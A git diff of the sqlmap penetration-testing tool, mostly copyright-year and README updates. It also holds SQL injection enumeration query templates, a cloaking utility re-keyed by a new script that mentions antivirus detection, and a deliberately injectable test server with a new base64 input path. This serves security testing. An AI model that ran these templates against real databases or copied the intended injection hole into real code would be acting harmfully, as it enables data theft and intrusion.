<blind query="SELECT table_name FROM information_schema.tables WHERE table_schema='%s' LIMIT 1 OFFSET %d" count="SELECT COUNT(table_name) FROM information_schema.tables WHERE table_schema='%s'"/> <blind query="SELECT table_name FROM information_schema.tables WHERE table_schema='%s' LIMIT 1 OFFSET %d" count="SELECT COUNT(table_name) FROM information_schema.tables WHERE table_schema='%s'"/>
</tables> </tables>
<columns> <columns>
<inband query="SELECT attname,typname FROM pg_namespace,pg_type,pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND a.relname='%s' AND nspname='%s'" condition="attname"/> <inband query="SELECT attname,typname FROM pg_attribute b JOIN pg_class a ON a.oid=b.attrelid JOIN pg_type c ON c.oid=b.atttypid JOIN pg_namespace d ON a.relnamespace=d.oid WHERE b.attnum>0 AND a.relname='%s' AND nspname='%s'" condition="attname"/>
<blind query="SELECT attname FROM pg_namespace,pg_type,pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND a.relname='%s' AND nspname='%s'" query2="SELECT typname FROM pg_namespace,pg_type,pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relname='%s' AND a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND attname='%s' AND nspname='%s'" count="SELECT COUNT(attname) FROM pg_namespace,pg_type,pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND a.relname='%s' AND nspname='%s'" condition="attname"/> <blind query="SELECT attname FROM pg_attribute b JOIN pg_class a ON a.oid=b.attrelid JOIN pg_type c ON c.oid=b.atttypid JOIN pg_namespace d ON a.relnamespace=d.oid WHERE b.attnum>0 AND a.relname='%s' AND nspname='%s'" query2="SELECT typname FROM pg_namespace,pg_type,pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relname='%s' AND a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND attname='%s' AND nspname='%s'" count="SELECT COUNT(attname) FROM pg_attribute b JOIN pg_class a ON a.oid=b.attrelid JOIN pg_type c ON c.oid=b.atttypid JOIN pg_namespace d ON a.relnamespace=d.oid WHERE b.attnum>0 AND a.relname='%s' AND nspname='%s'" condition="attname"/>
</columns> </columns>
<dump_table> <dump_table>
<inband query="SELECT %s FROM %s.%s ORDER BY %s"/> <inband query="SELECT %s FROM %s.%s ORDER BY %s"/>
@@ -1386,8 +1386,8 @@
<blind query="SELECT DISTINCT(table_schema) FROM information_schema.tables WHERE %s" query2="SELECT table_name FROM information_schema.tables WHERE table_schema='%s'" count="SELECT COUNT(DISTINCT(table_schema)) FROM information_schema.tables WHERE %s" count2="SELECT COUNT(table_name) FROM information_schema.tables WHERE table_schema='%s'" condition="table_name" condition2="table_schema"/> <blind query="SELECT DISTINCT(table_schema) FROM information_schema.tables WHERE %s" query2="SELECT table_name FROM information_schema.tables WHERE table_schema='%s'" count="SELECT COUNT(DISTINCT(table_schema)) FROM information_schema.tables WHERE %s" count2="SELECT COUNT(table_name) FROM information_schema.tables WHERE table_schema='%s'" condition="table_name" condition2="table_schema"/>
</search_table> </search_table>
<search_column> <search_column>
<inband query="SELECT nspname,relname FROM pg_namespace,pg_type,pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND %s" condition="attname" condition2="nspname" condition3="relname"/> <inband query="SELECT nspname,relname FROM pg_attribute b JOIN pg_class a ON a.oid=b.attrelid JOIN pg_type c ON c.oid=b.atttypid JOIN pg_namespace d ON a.relnamespace=d.oid WHERE b.attnum>0 AND %s" condition="attname" condition2="nspname" condition3="relname"/>
<blind query="SELECT DISTINCT(nspname) FROM pg_namespace,pg_type,pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND %s" query2="SELECT DISTINCT(relname) FROM pg_namespace,pg_type,pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND nspname='%s'" count="SELECT COUNT(DISTINCT(nspname)) FROM pg_namespace,pg_type,pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND %s" count2="SELECT COUNT(DISTINCT(relname)) FROM pg_namespace,pg_type,pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND nspname='%s'" condition="attname" condition2="nspname" condition3="relname"/> <blind query="SELECT DISTINCT(nspname) FROM pg_attribute b JOIN pg_class a ON a.oid=b.attrelid JOIN pg_type c ON c.oid=b.atttypid JOIN pg_namespace d ON a.relnamespace=d.oid WHERE b.attnum>0 AND %s" query2="SELECT DISTINCT(relname) FROM pg_attribute b JOIN pg_class a ON a.oid=b.attrelid JOIN pg_type c ON c.oid=b.atttypid JOIN pg_namespace d ON a.relnamespace=d.oid WHERE b.attnum>0 AND nspname='%s'" count="SELECT COUNT(DISTINCT(nspname)) FROM pg_attribute b JOIN pg_class a ON a.oid=b.attrelid JOIN pg_type c ON c.oid=b.atttypid JOIN pg_namespace d ON a.relnamespace=d.oid WHERE b.attnum>0 AND %s" count2="SELECT COUNT(DISTINCT(relname)) FROM pg_attribute b JOIN pg_class a ON a.oid=b.attrelid JOIN pg_type c ON c.oid=b.atttypid JOIN pg_namespace d ON a.relnamespace=d.oid WHERE b.attnum>0 AND nspname='%s'" condition="attname" condition2="nspname" condition3="relname"/>
</search_column> </search_column>
</dbms> </dbms>

View File

@@ -6,14 +6,17 @@
# Version 1.3 (2019-01-05) # Version 1.3 (2019-01-05)
* [View changes](https://github.com/sqlmapproject/sqlmap/compare/1.2...1.3) * [View changes](https://github.com/sqlmapproject/sqlmap/compare/1.2...1.3)
* [View issues](https://github.com/sqlmapproject/sqlmap/milestone/4?closed=1)
# Version 1.2 (2018-01-08) # Version 1.2 (2018-01-08)
* [View changes](https://github.com/sqlmapproject/sqlmap/compare/1.1...1.2) * [View changes](https://github.com/sqlmapproject/sqlmap/compare/1.1...1.2)
* [View issues](https://github.com/sqlmapproject/sqlmap/milestone/3?closed=1)
# Version 1.1 (2017-04-07) # Version 1.1 (2017-04-07)
* [View changes](https://github.com/sqlmapproject/sqlmap/compare/1.0...1.1) * [View changes](https://github.com/sqlmapproject/sqlmap/compare/1.0...1.1)
* [View issues](https://github.com/sqlmapproject/sqlmap/milestone/2?closed=1)
# Version 1.0 (2016-02-27) # Version 1.0 (2016-02-27)

View File

@@ -112,6 +112,9 @@ Alessio Dalla Piazza, <alessio.dallapiazza(at)gmail.com>
Sherif El-Deeb, <archeldeeb(at)gmail.com> Sherif El-Deeb, <archeldeeb(at)gmail.com>
* for reporting a minor bug * for reporting a minor bug
Thomas Etrillard, <thomas.etrillard(at)synacktiv.com>
* for contributing the IBM DB2 error-based payloads (RAISE_ERROR)
Stefano Di Paola, <stefano.dipaola(at)wisec.it> Stefano Di Paola, <stefano.dipaola(at)wisec.it>
* for suggesting good features * for suggesting good features
@@ -317,6 +320,9 @@ Michael Majchrowicz, <mmajchrowicz(at)gmail.com>
Vinícius Henrique Marangoni, <vinicius_marangoni1(at)hotmail.com> Vinícius Henrique Marangoni, <vinicius_marangoni1(at)hotmail.com>
* for contributing a Portuguese translation of README.md * for contributing a Portuguese translation of README.md
Francesco Marano, <francesco.mrn24(at)gmail.com>
* for contributing the Microsoft SQL Server/Sybase error-based - Stacking (EXEC) payload
Ahmad Maulana, <matdhule(at)gmail.com> Ahmad Maulana, <matdhule(at)gmail.com>
* for contributing a tamper script halfversionedmorekeywords.py * for contributing a tamper script halfversionedmorekeywords.py
@@ -486,6 +492,9 @@ Marek Sarvas, <marek.sarvas(at)gmail.com>
Philippe A. R. Schaeffer, <schaeff(at)compuphil.de> Philippe A. R. Schaeffer, <schaeff(at)compuphil.de>
* for reporting a minor bug * for reporting a minor bug
Henri Salo <henri(at)nerv.fi>
* for a donation
Mohd Zamiri Sanin, <zamiri.sanin(at)gmail.com> Mohd Zamiri Sanin, <zamiri.sanin(at)gmail.com>
* for reporting a minor bug * for reporting a minor bug

View File

@@ -277,7 +277,7 @@ be bound by the terms and conditions of this License Agreement.
* The `bottle` web framework library located under `thirdparty/bottle/`. * The `bottle` web framework library located under `thirdparty/bottle/`.
Copyright (C) 2012, Marcel Hellkamp. Copyright (C) 2012, Marcel Hellkamp.
* The `identYwaf` library located under `thirdparty/identywaf/`. * The `identYwaf` library located under `thirdparty/identywaf/`.
Copyright (C) 2019, Miroslav Stampar. Copyright (C) 2019-2020, Miroslav Stampar.
* The `ordereddict` library located under `thirdparty/odict/`. * The `ordereddict` library located under `thirdparty/odict/`.
Copyright (C) 2009, Raymond Hettinger. Copyright (C) 2009, Raymond Hettinger.
* The `six` Python 2 and 3 compatibility library located under `thirdparty/six/`. * The `six` Python 2 and 3 compatibility library located under `thirdparty/six/`.

View File

@@ -32,7 +32,7 @@ Pour afficher une liste complète des options et des commutateurs (switches), ta
python sqlmap.py -hh python sqlmap.py -hh
Vous pouvez regarder un vidéo [ici](https://asciinema.org/a/46601) pour plus d'exemples. Vous pouvez regarder une vidéo [ici](https://asciinema.org/a/46601) pour plus d'exemples.
Pour obtenir un aperçu des ressources de __sqlmap__, une liste des fonctionnalités prises en charge, la description de toutes les options, ainsi que des exemples, nous vous recommandons de consulter [le wiki](https://github.com/sqlmapproject/sqlmap/wiki/Usage). Pour obtenir un aperçu des ressources de __sqlmap__, une liste des fonctionnalités prises en charge, la description de toutes les options, ainsi que des exemples, nous vous recommandons de consulter [le wiki](https://github.com/sqlmapproject/sqlmap/wiki/Usage).
Liens Liens

View File

@@ -2,7 +2,7 @@
[![Build Status](https://api.travis-ci.org/sqlmapproject/sqlmap.svg?branch=master)](https://travis-ci.org/sqlmapproject/sqlmap) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![PyPI version](https://badge.fury.io/py/sqlmap.svg)](https://badge.fury.io/py/sqlmap) [![GitHub closed issues](https://img.shields.io/github/issues-closed-raw/sqlmapproject/sqlmap.svg?colorB=ff69b4)](https://github.com/sqlmapproject/sqlmap/issues?q=is%3Aissue+is%3Aclosed) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap) [![Build Status](https://api.travis-ci.org/sqlmapproject/sqlmap.svg?branch=master)](https://travis-ci.org/sqlmapproject/sqlmap) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![PyPI version](https://badge.fury.io/py/sqlmap.svg)](https://badge.fury.io/py/sqlmap) [![GitHub closed issues](https://img.shields.io/github/issues-closed-raw/sqlmapproject/sqlmap.svg?colorB=ff69b4)](https://github.com/sqlmapproject/sqlmap/issues?q=is%3Aissue+is%3Aclosed) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap)
sqlmap merupakan alat _(tool)_ bantu _open source_ dalam melakukan tes penetrasi yang mengotomasi proses deteksi dan eksploitasi kelemahan _SQL injection_ dan pengambil-alihan server basisdata. sqlmap dilengkapi dengan pendeteksi canggih, fitur-fitur hanal bagi _penetration tester_, beragam cara untuk mendeteksi basisdata, hingga mengakses _file system_ dan mengeksekusi perintah dalam sistem operasi melalui koneksi _out-of-band_. sqlmap merupakan alat _(tool)_ bantu _open source_ dalam melakukan tes penetrasi yang mengotomasi proses deteksi dan eksploitasi kelemahan _SQL injection_ dan pengambil-alihan server basis data. sqlmap dilengkapi dengan pendeteksi canggih, fitur-fitur hanal bagi _penetration tester_, beragam cara untuk mendeteksi basis data, hingga mengakses _file system_ dan mengeksekusi perintah dalam sistem operasi melalui koneksi _out-of-band_.
Tangkapan Layar Tangkapan Layar
---- ----
@@ -43,7 +43,7 @@ Tautan
* Situs: http://sqlmap.org * Situs: http://sqlmap.org
* Unduh: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) atau [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) * Unduh: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) atau [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master)
* RSS feed dari commits: https://github.com/sqlmapproject/sqlmap/commits/master.atom * RSS feed dari commits: https://github.com/sqlmapproject/sqlmap/commits/master.atom
* Issue tracker: https://github.com/sqlmapproject/sqlmap/issues * Pelacak Masalah: https://github.com/sqlmapproject/sqlmap/issues
* Wiki Manual Penggunaan: https://github.com/sqlmapproject/sqlmap/wiki * Wiki Manual Penggunaan: https://github.com/sqlmapproject/sqlmap/wiki
* Pertanyaan yang Sering Ditanyakan (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ * Pertanyaan yang Sering Ditanyakan (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
* Twitter: [@sqlmap](https://twitter.com/sqlmap) * Twitter: [@sqlmap](https://twitter.com/sqlmap)

View File

@@ -14,8 +14,7 @@ Você pode visitar a [coleção de imagens](https://github.com/sqlmapproject/sql
Instalação Instalação
---- ----
Você pode baixar o arquivo tar mais recente clicando [aqui] Você pode baixar o arquivo tar mais recente clicando [aqui](https://github.com/sqlmapproject/sqlmap/tarball/master) ou o arquivo zip mais recente clicando [aqui](https://github.com/sqlmapproject/sqlmap/zipball/master).
(https://github.com/sqlmapproject/sqlmap/tarball/master) ou o arquivo zip mais recente clicando [aqui](https://github.com/sqlmapproject/sqlmap/zipball/master).
De preferência, você pode baixar o sqlmap clonando o repositório [Git](https://github.com/sqlmapproject/sqlmap): De preferência, você pode baixar o sqlmap clonando o repositório [Git](https://github.com/sqlmapproject/sqlmap):

View File

@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """

View File

@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """

View File

@@ -3,7 +3,7 @@
""" """
beep.py - Make a beep sound beep.py - Make a beep sound
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """

View File

@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """

View File

@@ -3,7 +3,7 @@
""" """
cloak.py - Simple file encryption/compression utility cloak.py - Simple file encryption/compression utility
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
@@ -19,28 +19,26 @@ from optparse import OptionParser
if sys.version_info >= (3, 0): if sys.version_info >= (3, 0):
xrange = range xrange = range
ord = lambda _: _
def hideAscii(data): KEY = b"cwRAopWDYixMeqs3"
retVal = b""
for i in xrange(len(data)):
value = data[i] if isinstance(data[i], int) else ord(data[i])
retVal += struct.pack('B', value ^ (127 if value < 128 else 0))
return retVal def xor(message, key):
return b"".join(struct.pack('B', ord(message[i]) ^ ord(key[i % len(key)])) for i in range(len(message)))
def cloak(inputFile=None, data=None): def cloak(inputFile=None, data=None):
if data is None: if data is None:
with open(inputFile, "rb") as f: with open(inputFile, "rb") as f:
data = f.read() data = f.read()
return hideAscii(zlib.compress(data)) return xor(zlib.compress(data), KEY)
def decloak(inputFile=None, data=None): def decloak(inputFile=None, data=None):
if data is None: if data is None:
with open(inputFile, "rb") as f: with open(inputFile, "rb") as f:
data = f.read() data = f.read()
try: try:
data = zlib.decompress(hideAscii(data)) data = zlib.decompress(xor(data, KEY))
except Exception as ex: except Exception as ex:
print(ex) print(ex)
print('ERROR: the provided input file \'%s\' does not contain valid cloaked content' % inputFile) print('ERROR: the provided input file \'%s\' does not contain valid cloaked content' % inputFile)
@@ -52,7 +50,7 @@ def decloak(inputFile=None, data=None):
def main(): def main():
usage = '%s [-d] -i <input file> [-o <output file>]' % sys.argv[0] usage = '%s [-d] -i <input file> [-o <output file>]' % sys.argv[0]
parser = OptionParser(usage=usage, version='0.1') parser = OptionParser(usage=usage, version='0.2')
try: try:
parser.add_option('-d', dest='decrypt', action="store_true", help='Decrypt') parser.add_option('-d', dest='decrypt', action="store_true", help='Decrypt')

View File

@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """

View File

@@ -3,7 +3,7 @@
""" """
dbgtool.py - Portable executable to ASCII debug script converter dbgtool.py - Portable executable to ASCII debug script converter
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """

Binary file not shown.

Binary file not shown.

View File

@@ -1,6 +1,6 @@
#!/bin/bash #!/bin/bash
# Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) # Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/)
# See the file 'LICENSE' for copying permission # See the file 'LICENSE' for copying permission
# Removes trailing spaces from blank lines inside project files # Removes trailing spaces from blank lines inside project files

View File

@@ -1,13 +1,13 @@
#!/bin/bash #!/bin/bash
# Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) # Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/)
# See the file 'LICENSE' for copying permission # See the file 'LICENSE' for copying permission
# Stress test against Python3 # Stress test against Python3
export SQLMAP_DREI=1 export SQLMAP_DREI=1
#for i in $(find . -iname "*.py" | grep -v __init__); do python3 -c 'import '`echo $i | cut -d '.' -f 2 | cut -d '/' -f 2- | sed 's/\//./g'`''; done #for i in $(find . -iname "*.py" | grep -v __init__); do python3 -c 'import '`echo $i | cut -d '.' -f 2 | cut -d '/' -f 2- | sed 's/\//./g'`''; done
for i in $(find . -iname "*.py" | grep -v __init__); do PYTHONWARNINGS=all python3.7 -m compileall $i | sed 's/Compiling/Checking/g'; done for i in $(find . -iname "*.py" | grep -v __init__); do PYTHONWARNINGS=all python3 -m compileall $i | sed 's/Compiling/Checking/g'; done
unset SQLMAP_DREI unset SQLMAP_DREI
source `dirname "$0"`"/junk.sh" source `dirname "$0"`"/junk.sh"

View File

@@ -1,6 +1,6 @@
#!/usr/bin/env python #!/usr/bin/env python
# Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) # Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/)
# See the file 'LICENSE' for copying permission # See the file 'LICENSE' for copying permission
# Removes duplicate entries in wordlist like files # Removes duplicate entries in wordlist like files

View File

@@ -1,6 +1,6 @@
#!/bin/bash #!/bin/bash
# Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) # Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/)
# See the file 'LICENSE' for copying permission # See the file 'LICENSE' for copying permission
find . -type d -name "__pycache__" -exec rm -rf {} \; &>/dev/null find . -type d -name "__pycache__" -exec rm -rf {} \; &>/dev/null

View File

@@ -1,6 +1,6 @@
#!/bin/bash #!/bin/bash
# Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) # Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/)
# See the file 'LICENSE' for copying permission # See the file 'LICENSE' for copying permission
# sudo pip install modernize # sudo pip install modernize

View File

@@ -1,6 +1,6 @@
#!/bin/bash #!/bin/bash
# Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) # Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/)
# See the file 'LICENSE' for copying permission # See the file 'LICENSE' for copying permission
# Runs pycodestyle on all python files (prerequisite: pip install pycodestyle) # Runs pycodestyle on all python files (prerequisite: pip install pycodestyle)

View File

@@ -1,7 +1,7 @@
#!/bin/bash #!/bin/bash
# Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) # Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/)
# See the file 'LICENSE' for copying permission # See the file 'LICENSE' for copying permission
# Runs py2diatra on all python files (prerequisite: pip install pydiatra) # Runs py3diatra on all python files (prerequisite: pip install pydiatra)
find . -wholename "./thirdparty" -prune -o -type f -iname "*.py" -exec py2diatra '{}' \; | grep -v bare-except find . -wholename "./thirdparty" -prune -o -type f -iname "*.py" -exec py3diatra '{}' \; | grep -v bare-except

View File

@@ -1,6 +1,6 @@
#!/bin/bash #!/bin/bash
# Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) # Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/)
# See the file 'LICENSE' for copying permission # See the file 'LICENSE' for copying permission
# Runs pyflakes on all python files (prerequisite: apt-get install pyflakes) # Runs pyflakes on all python files (prerequisite: apt-get install pyflakes)

6
extra/shutils/pylint.sh Executable file
View File

@@ -0,0 +1,6 @@
#!/bin/bash
# Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/)
# See the file 'LICENSE' for copying permission
find . -wholename "./thirdparty" -prune -o -type f -iname "*.py" -exec pylint --rcfile=./.pylintrc '{}' \;

View File

@@ -16,7 +16,7 @@ cat > $TMP_DIR/setup.py << EOF
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
@@ -67,7 +67,7 @@ cat > sqlmap/__init__.py << EOF
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """

16
extra/shutils/recloak.sh Executable file
View File

@@ -0,0 +1,16 @@
#!/bin/bash
# NOTE: this script is for dev usage after AV something something
DIR=$(cd -P -- "$(dirname -- "${BASH_SOURCE[0]}")" && pwd -P)
cd $DIR/../..
for file in $(find -regex ".*\.[a-z]*_" -type f | grep -v wordlist); do python extra/cloak/cloak.py -d -i $file; done
cd $DIR/../cloak
sed -i 's/KEY = .*/KEY = b"'`python -c 'import random; import string; print("".join(random.sample(string.ascii_letters + string.digits, 16)))'`'"/g' cloak.py
cd $DIR/../..
for file in $(find -regex ".*\.[a-z]*_" -type f | grep -v wordlist); do python extra/cloak/cloak.py -i `echo $file | sed 's/_$//g'`; done
git clean -f > /dev/null

View File

@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """

View File

@@ -3,12 +3,13 @@
""" """
vulnserver.py - Trivial SQLi vulnerable HTTP server (Note: for testing purposes) vulnserver.py - Trivial SQLi vulnerable HTTP server (Note: for testing purposes)
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
from __future__ import print_function from __future__ import print_function
import base64
import json import json
import re import re
import sqlite3 import sqlite3
@@ -18,6 +19,7 @@ import traceback
PY3 = sys.version_info >= (3, 0) PY3 = sys.version_info >= (3, 0)
UNICODE_ENCODING = "utf-8" UNICODE_ENCODING = "utf-8"
DEBUG = False
if PY3: if PY3:
from http.client import INTERNAL_SERVER_ERROR from http.client import INTERNAL_SERVER_ERROR
@@ -83,7 +85,8 @@ class ThreadingServer(ThreadingMixIn, HTTPServer):
try: try:
HTTPServer.finish_request(self, *args, **kwargs) HTTPServer.finish_request(self, *args, **kwargs)
except Exception: except Exception:
traceback.print_exc() if DEBUG:
traceback.print_exc()
class ReqHandler(BaseHTTPRequestHandler): class ReqHandler(BaseHTTPRequestHandler):
def do_REQUEST(self): def do_REQUEST(self):
@@ -131,7 +134,7 @@ class ReqHandler(BaseHTTPRequestHandler):
self.send_header("Content-type", "text/html; charset=%s" % UNICODE_ENCODING) self.send_header("Content-type", "text/html; charset=%s" % UNICODE_ENCODING)
self.send_header("Connection", "close") self.send_header("Connection", "close")
self.end_headers() self.end_headers()
self.wfile.write(b"<html><p><h3>GET:</h3><a href='/?id=1'>link</a></p><hr><p><h3>POST:</h3><form method='post'>ID: <input type='text' name='id'><input type='submit' value='Submit'></form></p></html>") self.wfile.write(b"<!DOCTYPE html><html><head><title>vulnserver</title></head><body><h3>GET:</h3><a href='/?id=1'>link</a><hr><h3>POST:</h3><form method='post'>ID: <input type='text' name='id'><input type='submit' value='Submit'></form></body></html>")
else: else:
code, output = OK, "" code, output = OK, ""
@@ -144,19 +147,27 @@ class ReqHandler(BaseHTTPRequestHandler):
if "query" in self.params: if "query" in self.params:
_cursor.execute(self.params["query"]) _cursor.execute(self.params["query"])
elif "id" in self.params: elif "id" in self.params:
_cursor.execute("SELECT * FROM users WHERE id=%s LIMIT 0, 1" % self.params["id"]) if "base64" in self.params:
_cursor.execute("SELECT * FROM users WHERE id=%s LIMIT 0, 1" % base64.b64decode("%s===" % self.params["id"], altchars=self.params.get("altchars")).decode())
else:
_cursor.execute("SELECT * FROM users WHERE id=%s LIMIT 0, 1" % self.params["id"])
results = _cursor.fetchall() results = _cursor.fetchall()
output += "<b>SQL results:</b>\n" output += "<b>SQL results:</b><br>\n"
output += "<table border=\"1\">\n"
for row in results: if results:
output += "<tr>" output += "<table border=\"1\">\n"
for value in row:
output += "<td>%s</td>" % value for row in results:
output += "</tr>\n" output += "<tr>"
for value in row:
output += "<td>%s</td>" % value
output += "</tr>\n"
output += "</table>\n"
else:
output += "no results found"
output += "</table>\n"
output += "</body></html>" output += "</body></html>"
except Exception as ex: except Exception as ex:
code = INTERNAL_SERVER_ERROR code = INTERNAL_SERVER_ERROR
@@ -221,7 +232,7 @@ def run(address=LISTEN_ADDRESS, port=LISTEN_PORT):
global _server global _server
try: try:
_server = ThreadingServer((address, port), ReqHandler) _server = ThreadingServer((address, port), ReqHandler)
print("[i] running HTTP server at '%s:%d'" % (address, port)) print("[i] running HTTP server at 'http://%s:%d'" % (address, port))
_server.serve_forever() _server.serve_forever()
except KeyboardInterrupt: except KeyboardInterrupt:
_server.socket.close() _server.socket.close()

View File

@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """

View File

@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """

View File

@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """

View File

@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
@@ -30,6 +30,7 @@ from lib.core.common import getSortedInjectionTests
from lib.core.common import hashDBRetrieve from lib.core.common import hashDBRetrieve
from lib.core.common import hashDBWrite from lib.core.common import hashDBWrite
from lib.core.common import intersect from lib.core.common import intersect
from lib.core.common import isDigit
from lib.core.common import joinValue from lib.core.common import joinValue
from lib.core.common import listToStrValue from lib.core.common import listToStrValue
from lib.core.common import parseFilePaths from lib.core.common import parseFilePaths
@@ -117,7 +118,7 @@ def checkSqlInjection(place, parameter, value):
threadData = getCurrentThreadData() threadData = getCurrentThreadData()
# Favoring non-string specific boundaries in case of digit-like parameter values # Favoring non-string specific boundaries in case of digit-like parameter values
if value.isdigit(): if isDigit(value):
